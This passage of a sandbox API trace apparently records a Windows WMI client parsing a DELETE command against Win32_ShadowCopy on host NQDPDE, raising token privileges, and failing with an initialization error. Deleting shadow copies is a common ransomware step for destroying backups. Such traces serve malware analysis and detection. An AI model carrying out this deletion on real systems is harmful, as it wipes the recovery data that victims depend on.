[0064.869] lstrlenW (lpString="DELETE") returned 6 [0064.869] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="WHERE", cchCount2=5) returned 1 [0064.869] lstrlenW (lpString="(") returned 1 [0064.869] lstrlenW (lpString="DELETE") returned 6 [0064.869] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="(", cchCount2=1) returned 3 [0064.869] lstrlenW (lpString="/") returned 1 [0064.869] lstrlenW (lpString="DELETE") returned 6 [0064.869] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="/", cchCount2=1) returned 3 [0064.869] lstrlenW (lpString="-") returned 1 [0064.869] lstrlenW (lpString="DELETE") returned 6 [0064.869] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="-", cchCount2=1) returned 3 [0064.869] malloc (_Size=0x18) returned 0x16fbd1fde50 [0064.870] lstrlenW (lpString="GET") returned 3 [0064.870] lstrlenW (lpString="DELETE") returned 6 [0064.870] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0064.870] lstrlenW (lpString="LIST") returned 4 [0064.870] lstrlenW (lpString="DELETE") returned 6 [0064.870] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0064.870] lstrlenW (lpString="SET") returned 3 [0064.870] lstrlenW (lpString="DELETE") returned 6 [0064.870] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0064.870] lstrlenW (lpString="CREATE") returned 6 [0064.870] lstrlenW (lpString="DELETE") returned 6 [0064.870] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0064.870] lstrlenW (lpString="CALL") returned 4 [0064.870] lstrlenW (lpString="DELETE") returned 6 [0064.870] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0064.870] lstrlenW (lpString="ASSOC") returned 5 [0064.870] lstrlenW (lpString="DELETE") returned 6 [0064.870] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0064.870] lstrlenW (lpString="DELETE") returned 6 [0064.870] lstrlenW (lpString="DELETE") returned 6 [0064.870] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0064.870] free (_Block=0x16fbd1fde50) [0064.870] lstrlenW (lpString="/") returned 1 [0064.870] lstrlenW (lpString="DELETE") returned 6 [0064.870] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="/", cchCount2=1) returned 3 [0064.870] lstrlenW (lpString="-") returned 1 [0064.870] lstrlenW (lpString="DELETE") returned 6 [0064.870] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="-", cchCount2=1) returned 3 [0064.870] lstrlenW (lpString="DELETE") returned 6 [0064.870] malloc (_Size=0xe) returned 0x16fbd1fe030 [0064.870] lstrlenW (lpString="DELETE") returned 6 [0064.870] lstrlenW (lpString="GET") returned 3 [0064.870] lstrlenW (lpString="DELETE") returned 6 [0064.871] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0064.871] lstrlenW (lpString="LIST") returned 4 [0064.871] lstrlenW (lpString="DELETE") returned 6 [0064.871] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0064.871] lstrlenW (lpString="SET") returned 3 [0064.871] lstrlenW (lpString="DELETE") returned 6 [0064.871] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0064.871] lstrlenW (lpString="CREATE") returned 6 [0064.871] lstrlenW (lpString="DELETE") returned 6 [0064.871] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0064.871] lstrlenW (lpString="CALL") returned 4 [0064.871] lstrlenW (lpString="DELETE") returned 6 [0064.871] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0064.871] lstrlenW (lpString="ASSOC") returned 5 [0064.871] lstrlenW (lpString="DELETE") returned 6 [0064.871] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0064.871] lstrlenW (lpString="DELETE") returned 6 [0064.871] lstrlenW (lpString="DELETE") returned 6 [0064.871] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0064.871] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0064.871] malloc (_Size=0x3e) returned 0x16fbd1fed20 [0064.871] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0064.871] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0xffffffffffffff60 | out: _String="Select", _Context=0xffffffffffffff60) returned="Select" [0064.871] malloc (_Size=0x18) returned 0x16fbd1fe050 [0064.871] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x65006c00650053 | out: _String=0x0, _Context=0x65006c00650053) returned="*" [0064.871] lstrlenW (lpString="FROM") returned 4 [0064.871] lstrlenW (lpString="*") returned 1 [0064.871] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0064.871] malloc (_Size=0x18) returned 0x16fbd1fdb10 [0064.871] free (_Block=0x16fbd1fe050) [0064.871] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x16fbce80db0*="\x01\x01" | out: _String=0x0, _Context=0x16fbce80db0*="\x01\x01") returned="from" [0064.871] lstrlenW (lpString="FROM") returned 4 [0064.871] lstrlenW (lpString="from") returned 4 [0064.872] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0064.872] malloc (_Size=0x18) returned 0x16fbd1fdef0 [0064.872] free (_Block=0x16fbd1fdb10) [0064.872] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x16fbce80db0*="\x01\x01" | out: _String=0x0, _Context=0x16fbce80db0*="\x01\x01") returned="Win32_ShadowCopy" [0064.872] malloc (_Size=0x18) returned 0x16fbd1fde70 [0064.872] free (_Block=0x16fbd1fdef0) [0064.872] free (_Block=0x16fbd1fed20) [0064.872] free (_Block=0x16fbd1fde70) [0064.872] lstrlenW (lpString="SET") returned 3 [0064.872] lstrlenW (lpString="DELETE") returned 6 [0064.872] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0064.872] lstrlenW (lpString="CREATE") returned 6 [0064.872] lstrlenW (lpString="DELETE") returned 6 [0064.872] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0064.872] free (_Block=0x16fbd1fde90) [0064.872] malloc (_Size=0x8) returned 0x16fbd1fed20 [0064.872] lstrlenW (lpString="GET") returned 3 [0064.872] lstrlenW (lpString="DELETE") returned 6 [0064.872] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0064.872] lstrlenW (lpString="LIST") returned 4 [0064.872] lstrlenW (lpString="DELETE") returned 6 [0064.872] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0064.872] lstrlenW (lpString="ASSOC") returned 5 [0064.872] lstrlenW (lpString="DELETE") returned 6 [0064.872] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0064.872] WbemLocator:IUnknown:AddRef (This=0x16fbcf3c2b0) returned 0x3 [0064.872] free (_Block=0x16fbd1f5cd0) [0064.872] lstrlenW (lpString="") returned 0 [0064.872] lstrlenW (lpString="NQDPDE") returned 6 [0064.872] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2="", cchCount2=0) returned 3 [0064.873] lstrlenW (lpString="NQDPDE") returned 6 [0064.873] malloc (_Size=0xe) returned 0x16fbd1fde90 [0064.873] lstrlenW (lpString="NQDPDE") returned 6 [0064.873] GetCurrentThreadId () returned 0xddc [0064.873] GetCurrentProcess () returned 0xffffffffffffffff [0064.873] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x1f1a0ef920 | out: TokenHandle=0x1f1a0ef920*=0x2b0) returned 1 [0064.873] GetTokenInformation (in: TokenHandle=0x2b0, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1f1a0ef918 | out: TokenInformation=0x0, ReturnLength=0x1f1a0ef918) returned 0 [0064.873] malloc (_Size=0x118) returned 0x16fbd1fed40 [0064.873] GetTokenInformation (in: TokenHandle=0x2b0, TokenInformationClass=0x3, TokenInformation=0x16fbd1fed40, TokenInformationLength=0x118, ReturnLength=0x1f1a0ef918 | out: TokenInformation=0x16fbd1fed40, ReturnLength=0x1f1a0ef918) returned 1 [0064.873] AdjustTokenPrivileges (in: TokenHandle=0x2b0, DisableAllPrivileges=0, NewState=0x16fbd1fed40*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x9), (Luid.LowPart=0x2, Luid.HighPart=10, Attributes=0x0), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0xd), (Luid.LowPart=0x2, Luid.HighPart=14, Attributes=0x0), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x12), (Luid.LowPart=0x2, Luid.HighPart=19, Attributes=0x0), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x17), (Luid.LowPart=0x3, Luid.HighPart=24, Attributes=0x0), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x1d), (Luid.LowPart=0x3, Luid.HighPart=30, Attributes=0x0), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x23), (Luid.LowPart=0x2, Luid.HighPart=-17024376, Attributes=0x89a8), (Luid.LowPart=0x16f, Luid.HighPart=-1122018096, Attributes=0x16f), (Luid.LowPart=0x22, Luid.HighPart=352321557, Attributes=0x89bf), (Luid.LowPart=0x16f, Luid.HighPart=-1122041520, Attributes=0x16f), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0064.873] free (_Block=0x16fbd1fed40) [0064.873] CloseHandle (hObject=0x2b0) returned 1 [0064.873] lstrlenW (lpString="GET") returned 3 [0064.873] lstrlenW (lpString="DELETE") returned 6 [0064.873] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0064.873] lstrlenW (lpString="LIST") returned 4 [0064.873] lstrlenW (lpString="DELETE") returned 6 [0064.873] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0064.873] lstrlenW (lpString="SET") returned 3 [0064.873] lstrlenW (lpString="DELETE") returned 6 [0064.873] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0064.873] lstrlenW (lpString="CALL") returned 4 [0064.873] lstrlenW (lpString="DELETE") returned 6 [0064.873] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0064.873] lstrlenW (lpString="ASSOC") returned 5 [0064.873] lstrlenW (lpString="DELETE") returned 6 [0064.873] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0064.873] lstrlenW (lpString="CREATE") returned 6 [0064.873] lstrlenW (lpString="DELETE") returned 6 [0064.873] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0064.873] lstrlenW (lpString="DELETE") returned 6 [0064.874] lstrlenW (lpString="DELETE") returned 6 [0064.874] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0064.874] malloc (_Size=0x18) returned 0x16fbd1fd9d0 [0064.874] lstrlenA (lpString="") returned 0 [0064.874] malloc (_Size=0x2) returned 0x16fbd1f5cd0 [0064.874] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ff678d3c40c, cbMultiByte=-1, lpWideCharStr=0x16fbd1f5cd0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0064.874] free (_Block=0x16fbd1f5cd0) [0064.874] malloc (_Size=0x18) returned 0x16fbd1fdff0 [0064.874] lstrlenA (lpString="") returned 0 [0064.874] malloc (_Size=0x2) returned 0x16fbd1f5cd0 [0064.874] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ff678d3c40c, cbMultiByte=-1, lpWideCharStr=0x16fbd1f5cd0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0064.874] free (_Block=0x16fbd1f5cd0) [0064.874] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0064.874] malloc (_Size=0x3e) returned 0x16fbd1fed40 [0064.874] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0064.874] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0xffffffffffffff40 | out: _String="Select", _Context=0xffffffffffffff40) returned="Select" [0064.874] malloc (_Size=0x18) returned 0x16fbd1fddb0 [0064.874] free (_Block=0x16fbd1fdff0) [0064.874] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x16fbce80db0*="\x01\x01" | out: _String=0x0, _Context=0x16fbce80db0*="\x01\x01") returned="*" [0064.874] lstrlenW (lpString="FROM") returned 4 [0064.874] lstrlenW (lpString="*") returned 1 [0064.874] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0064.874] malloc (_Size=0x18) returned 0x16fbd1fda90 [0064.874] free (_Block=0x16fbd1fddb0) [0064.874] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x16fbce80db0*="\x01\x01" | out: _String=0x0, _Context=0x16fbce80db0*="\x01\x01") returned="from" [0064.874] lstrlenW (lpString="FROM") returned 4 [0064.874] lstrlenW (lpString="from") returned 4 [0064.874] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0064.874] malloc (_Size=0x18) returned 0x16fbd1fdcb0 [0064.875] free (_Block=0x16fbd1fda90) [0064.875] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x16fbce80db0*="\x01\x01" | out: _String=0x0, _Context=0x16fbce80db0*="\x01\x01") returned="Win32_ShadowCopy" [0064.875] malloc (_Size=0x18) returned 0x16fbd1fdef0 [0064.875] free (_Block=0x16fbd1fdcb0) [0064.875] free (_Block=0x16fbd1fed40) [0064.875] malloc (_Size=0x18) returned 0x16fbd1fda90 [0064.875] malloc (_Size=0x18) returned 0x16fbd1fde70 [0064.875] SysStringLen (param_1="SELECT * FROM ") returned 0xe [0064.875] SysStringLen (param_1="Win32_ShadowCopy") returned 0x10 [0064.875] free (_Block=0x16fbd1fd9d0) [0064.875] free (_Block=0x16fbd1fda90) [0065.015] ??0CHString@@QEAA@XZ () returned 0x1f1a0ef890 [0065.015] GetCurrentThreadId () returned 0xddc [0065.015] malloc (_Size=0x18) returned 0x16fbd1fde10 [0065.015] malloc (_Size=0x18) returned 0x16fbd1fd9d0 [0065.015] malloc (_Size=0x18) returned 0x16fbd1fdd90 [0065.015] malloc (_Size=0x18) returned 0x16fbd1fd9f0 [0065.015] malloc (_Size=0x18) returned 0x16fbd1fdc10 [0065.015] SysStringLen (param_1="\\\\") returned 0x2 [0065.015] SysStringLen (param_1="NQDPDE") returned 0x6 [0065.015] malloc (_Size=0x18) returned 0x16fbd1fdc90 [0065.015] SysStringLen (param_1="\\\\NQDPDE") returned 0x8 [0065.015] SysStringLen (param_1="\\") returned 0x1 [0065.016] malloc (_Size=0x18) returned 0x16fbd1fdbb0 [0065.016] SysStringLen (param_1="\\\\NQDPDE\\") returned 0x9 [0065.016] SysStringLen (param_1="ROOT\\CIMV2") returned 0xa [0065.016] free (_Block=0x16fbd1fdc90) [0065.016] free (_Block=0x16fbd1fdc10) [0065.016] free (_Block=0x16fbd1fd9f0) [0065.016] free (_Block=0x16fbd1fdd90) [0065.016] free (_Block=0x16fbd1fd9d0) [0065.016] free (_Block=0x16fbd1fde10) [0065.016] malloc (_Size=0x18) returned 0x16fbd1fdd90 [0065.016] malloc (_Size=0x18) returned 0x16fbd1fddb0 [0065.016] malloc (_Size=0x18) returned 0x16fbd1fdf10 [0065.016] WbemLocator:IWbemLocator:ConnectServer (in: This=0x16fbcf3c2b0, strNetworkResource="\\\\NQDPDE\\ROOT\\CIMV2", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x7ff678d578d0 | out: ppNamespace=0x7ff678d578d0*=0x16fbcf93d40) returned 0x0 [0065.704] free (_Block=0x16fbd1fdf10) [0065.704] free (_Block=0x16fbd1fddb0) [0065.704] free (_Block=0x16fbd1fdd90) [0065.704] CoSetProxyBlanket (pProxy=0x16fbcf93d40, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0065.704] free (_Block=0x16fbd1fdbb0) [0065.704] ??1CHString@@QEAA@XZ () returned 0x7ff9295f674c [0065.704] ??0CHString@@QEAA@XZ () returned 0x1f1a0ef7d0 [0065.704] GetCurrentThreadId () returned 0xddc [0065.704] malloc (_Size=0x18) returned 0x16fbd1fda90 [0065.704] lstrlenA (lpString="") returned 0 [0065.705] malloc (_Size=0x2) returned 0x16fbd1f5cd0 [0065.705] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ff678d3c40c, cbMultiByte=-1, lpWideCharStr=0x16fbd1f5cd0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0065.705] free (_Block=0x16fbd1f5cd0) [0065.705] SysStringLen (param_1="SELECT * FROM Win32_ShadowCopy") returned 0x1e [0065.705] SysStringLen (param_1="") returned 0x0 [0065.705] free (_Block=0x16fbd1fda90) [0065.705] malloc (_Size=0x18) returned 0x16fbd1fdff0 [0065.705] IWbemServices:ExecQuery (in: This=0x16fbcf93d40, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_ShadowCopy", lFlags=0, pCtx=0x0, ppEnum=0x1f1a0ef7e0 | out: ppEnum=0x1f1a0ef7e0*=0x0) returned 0x80041014 [0084.381] free (_Block=0x16fbd1fdff0) [0084.382] _CxxThrowException () [0084.383] malloc (_Size=0x20) returned 0x16fbd1fed40 [0084.383] ??1CHString@@QEAA@XZ () returned 0x7ff9295f674c [0084.383] free (_Block=0x16fbd1fdef0) [0084.383] free (_Block=0x16fbd1fde70) [0084.383] GetCurrentThreadId () returned 0xddc [0084.383] ??0CHString@@QEAA@PEBG@Z () returned 0x1f1a0ef9c8 [0084.383] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0x1f1a0ef9c8 [0084.383] ??0CHString@@QEAA@XZ () returned 0x1f1a0ef770 [0084.383] malloc (_Size=0x18) returned 0x16fbd1fdef0 [0084.383] malloc (_Size=0x18) returned 0x16fbd1fdf10 [0084.383] SysStringLen (param_1="") returned 0x0 [0084.384] free (_Block=0x16fbd1fdef0) [0084.384] CoCreateInstance (in: rclsid=0x7ff678d405a8*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff678d405b8*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppv=0x7ff678d578f8 | out: ppv=0x7ff678d578f8*=0x16fbcf7c1f0) returned 0x0 [0084.387] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x16fbcf7c1f0, hRes=0x80041014, LocaleId=0x0, lFlags=0, MessageText=0x1f1a0ef768 | out: MessageText=0x1f1a0ef768*="Initialization failure\r\n") returned 0x0 [0084.707] free (_Block=0x16fbd1fdf10) [0084.711] malloc (_Size=0x18) returned 0x16fbd1fd9d0 [0084.711] WbemStatusCodeText:IWbemStatusCodeText:GetFacilityCodeText (in: This=0x16fbcf7c1f0, hRes=0x80041014, LocaleId=0x0, lFlags=0, MessageText=0x1f1a0ef760 | out: MessageText=0x1f1a0ef760*="WMI") returned 0x0 [0084.712] malloc (_Size=0x18) returned 0x16fbd1fddd0 [0084.712] lstrlenW (lpString="WMI") returned 3 [0084.712] lstrlenW (lpString="Wbem") returned 4 [0084.712] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Wbem", cchCount1=4, lpString2="WMI", cchCount2=3) returned 1 [0084.712] lstrlenW (lpString="WMI") returned 3 [0084.712] lstrlenW (lpString="WMI") returned 3 [0084.712] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="WMI", cchCount1=3, lpString2="WMI", cchCount2=3) returned 2 [0084.712] WbemStatusCodeText:IUnknown:Release (This=0x16fbcf7c1f0) returned 0x0 [0084.712] ??1CHString@@QEAA@XZ () returned 0x7ff9295f674c [0084.712] LoadStringW (in: hInstance=0x0, uID=0xb7f3, lpBuffer=0x1f1a0eefd0, cchBufferMax=1024 | out: lpBuffer="ERROR:\r\nDescription = %1") returned 0x18 [0084.712] FormatMessageW (in: dwFlags=0x2500, lpSource=0x1f1a0eefd0, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0x1f1a0eefa0, nSize=0x0, Arguments=0x1f1a0eefa8 | out: lpBuffer="\x8400\xbcf9\x16f") returned 0x2e [0084.712] malloc (_Size=0x18) returned 0x16fbd1fdc70 [0084.712] LocalFree (hMem=0x16fbcf98400) returned 0x0 [0084.712] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="ERROR:\r\nDescription = Initialization failure\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 47 [0084.712] malloc (_Size=0x2f) returned 0x16fbd1faa90 [0084.713] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="ERROR:\r\nDescription = Initialization failure\r\n", cchWideChar=-1, lpMultiByteStr=0x16fbd1faa90, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ERROR:\r\nDescription = Initialization failure\r\n", lpUsedDefaultChar=0x0) returned 47 [0084.713] __iob_func () returned 0x7ff931acea00 [0084.713] fprintf (in: _File=0x7ff931acea60, _Format="%s" | out: _File=0x7ff931acea60) returned 46 [0085.105] __iob_func () returned 0x7ff931acea00 [0085.105] fflush (in: _File=0x7ff931acea60 | out: _File=0x7ff931acea60) returned 0 [0085.105] free (_Block=0x16fbd1faa90) [0085.105] free (_Block=0x16fbd1fdc70) [0085.105] free (_Block=0x16fbd1fddd0) [0085.105] free (_Block=0x16fbd1fd9d0) [0085.105] ??1CHString@@QEAA@XZ () returned 0x1 [0085.105] ??0CHString@@QEAA@PEBG@Z () returned 0x1f1a0ef9b0 [0085.105] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0x1f1a0ef9b0 [0085.105] GetCurrentThreadId () returned 0xddc [0085.105] ??1CHString@@QEAA@XZ () returned 0x1 [0085.105] WbemLocator:IUnknown:Release (This=0x16fbcf93d40) returned 0x0 [0085.106] ?Empty@CHString@@QEAAXXZ () returned 0x7ff9295f674c [0085.106] free (_Block=0x16fbd1fed40) [0085.106] _kbhit () returned 0x0 [0085.691] free (_Block=0x16fbd1fed20) [0085.691] free (_Block=0x16fbd1fdbd0) [0085.691] free (_Block=0x16fbd1fe0b0) [0085.691] free (_Block=0x16fbd1fe010) [0085.691] free (_Block=0x16fbd1fdc50) [0085.691] free (_Block=0x16fbd1f6150) [0085.691] free (_Block=0x16fbd1fdcd0) [0085.691] free (_Block=0x16fbd1fa9d0) [0085.691] free (_Block=0x16fbd1fe030) [0085.691] free (_Block=0x16fbd1fec80) [0085.691] free (_Block=0x16fbd1fdd70) [0085.691] free (_Block=0x16fbd1fddf0) [0085.691] free (_Block=0x16fbd1fed00) [0085.691] free (_Block=0x16fbd1f6100) [0085.691] free (_Block=0x16fbd1fecd0) [0085.692] ?Empty@CHString@@QEAAXXZ () returned 0x7ff9295f674c [0085.692] free (_Block=0x16fbd1fe190) [0085.692] free (_Block=0x16fbd1fe110) [0085.692] free (_Block=0x16fbd1fe130) [0085.692] free (_Block=0x16fbd1f5bb0) [0085.692] free (_Block=0x16fbd1f5c00) [0085.692] free (_Block=0x16fbd1f5c50) [0085.692] free (_Block=0x16fbd1fde90) [0085.692] free (_Block=0x16fbd1f5d20) [0085.692] free (_Block=0x16fbd1f60e0) [0085.692] free (_Block=0x16fbd1fa690) [0085.692] free (_Block=0x16fbd1f60c0) [0085.692] free (_Block=0x16fbd1fabd0) [0085.692] free (_Block=0x16fbd1f6060) [0085.692] free (_Block=0x16fbd1f6080) [0085.692] free (_Block=0x16fbd1f5f40) [0085.692] free (_Block=0x16fbd1f5f60) [0085.692] free (_Block=0x16fbd1f5ee0) [0085.692] free (_Block=0x16fbd1f5f00) [0085.692] free (_Block=0x16fbd1f5fa0) [0085.692] free (_Block=0x16fbd1f5fc0) [0085.692] free (_Block=0x16fbd1f6000) [0085.692] free (_Block=0x16fbd1f6020) [0085.692] free (_Block=0x16fbd1f5e20) [0085.692] free (_Block=0x16fbd1f5e40) [0085.692] free (_Block=0x16fbd1f5dc0) [0085.693] free (_Block=0x16fbd1f5de0) [0085.693] free (_Block=0x16fbd1f5e80) [0085.693] free (_Block=0x16fbd1f5ea0) [0085.693] free (_Block=0x16fbd1f5d60) [0085.693] free (_Block=0x16fbd1f5d80) [0085.693] free (_Block=0x16fbd1f5cf0) [0085.693] free (_Block=0x16fbd1f5ca0) [0085.693] free (_Block=0x16fbd1fb560) [0085.693] WbemLocator:IUnknown:Release (This=0x16fbcf3c2b0) returned 0x2 [0085.693] WbemLocator:IUnknown:Release (This=0x16fbcf947f0) returned 0x0 [0085.693] WbemLocator:IUnknown:Release (This=0x16fbcf94250) returned 0x0 [0085.695] WbemLocator:IUnknown:Release (This=0x16fbcf3c2b0) returned 0x1 [0085.695] ?Empty@CHString@@QEAAXXZ () returned 0x7ff9295f674c [0085.695] WbemLocator:IUnknown:Release (This=0x16fbcf3c2b0) returned 0x0 [0085.695] free (_Block=0x16fbd1fdcf0) [0085.695] free (_Block=0x16fbd1fe0f0) [0085.695] free (_Block=0x16fbd1fa990) [0085.695] free (_Block=0x16fbd1fda70) [0085.695] free (_Block=0x16fbd1fdfd0) [0085.695] free (_Block=0x16fbd1facd0) [0085.695] free (_Block=0x16fbd1fb4c0) [0085.695] free (_Block=0x16fbd1fb400) [0085.695] free (_Block=0x16fbd1fa950) [0085.695] free (_Block=0x16fbd1fdd30) [0085.695] free (_Block=0x16fbd1fdfb0) [0085.695] free (_Block=0x16fbd1fa910) [0085.695] free (_Block=0x16fbd1fb3a0) [0085.695] free (_Block=0x16fbd1fb300) [0085.695] free (_Block=0x16fbd1faa50) [0085.695] free (_Block=0x16fbd1fb340) [0085.695] free (_Block=0x16fbd1fb360) [0085.695] free (_Block=0x16fbd1fac50) [0085.695] free (_Block=0x16fbd1fded0) [0085.696] free (_Block=0x16fbd1fdf70) [0085.696] free (_Block=0x16fbd1fac10) [0085.696] free (_Block=0x16fbd1fe0d0) [0085.696] free 